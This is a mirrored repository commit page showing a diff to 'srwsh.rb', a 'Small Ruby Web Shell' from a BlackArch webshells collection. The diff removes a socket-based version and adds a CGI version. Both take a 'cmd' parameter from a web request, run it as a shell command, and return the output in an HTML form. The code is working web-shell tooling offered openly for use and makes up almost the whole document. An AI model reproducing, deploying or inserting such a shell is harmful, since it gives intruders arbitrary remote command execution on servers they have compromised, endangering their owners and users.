mirror of
https://github.com/BlackArch/webshells
synced 2024-11-10 06:14:16 +00:00
Update srwsh.rb
This commit is contained in:
parent
4fd088ca38
commit
e8e1a379c3
1 changed files with 9 additions and 21 deletions
|
@ -2,43 +2,31 @@
|
||||||
# frozen_string_literal: true
|
# frozen_string_literal: true
|
||||||
|
|
||||||
# Small Ruby Web Shell
|
# Small Ruby Web Shell
|
||||||
# This a Ruby web shell written with sockets only
|
|
||||||
|
|
||||||
require 'socket'
|
|
||||||
require 'cgi'
|
require 'cgi'
|
||||||
|
|
||||||
ipaddr, port = ARGV.size == 2 ? ARGV[0..] : ['localhost', 4000]
|
print "Content-type: text/html\r\n\r\n"
|
||||||
http = TCPServer.new(ipaddr, port)
|
|
||||||
response = DATA.read
|
|
||||||
|
|
||||||
puts("Pure HTTP server started at #{ipaddr}:#{port}")
|
cgi = CGI.new
|
||||||
|
html = DATA.read
|
||||||
|
|
||||||
while con = http.accept
|
if cgi["cmd"]
|
||||||
data = con.gets
|
output = %x(#{CGI.unescape(cgi['cmd'])}) rescue "Command error: #{cgi['cmd']}"
|
||||||
output = ''
|
|
||||||
|
|
||||||
if data =~ %r{/\?cmd=(.*)\sHTTP}
|
|
||||||
output = %x(#{CGI.unescape($1)}) rescue "Command error: #{$1}"
|
|
||||||
end
|
|
||||||
|
|
||||||
con.print('HTTP/1.1 200 OK\r\n')
|
|
||||||
con.print('Content-Type: text/html\r\n\r\n')
|
|
||||||
con.puts(response % output)
|
|
||||||
|
|
||||||
con.close
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
puts html % [File.basename($0), output]
|
||||||
|
|
||||||
__END__
|
__END__
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
</head>
|
</head>
|
||||||
<body style="font-family: monospace; text-align: center">
|
<body style="font-family: monospace; text-align: center">
|
||||||
<form action="/" method="get">
|
<form action="/cgi-bin/%s" method="get">
|
||||||
<h1>Small Ruby Web Shell</h1>
|
<h1>Small Ruby Web Shell</h1>
|
||||||
<input type="text" placeholder="ls -la" name="cmd">
|
<input type="text" placeholder="ls -la" name="cmd">
|
||||||
<input type="submit" value="Run">
|
<input type="submit" value="Run">
|
||||||
</form>
|
</form>
|
||||||
<textarea readonly style="background-color: black; color: lime">%s</textarea>
|
<textarea readonly style="background-color: black; color: lime; width: 512; border: none; padding: 10px" rows="16">%s</textarea>
|
||||||
<body>
|
<body>
|
||||||
</html>
|
</html>
|
||||||
|
|
Loading…
Reference in a new issue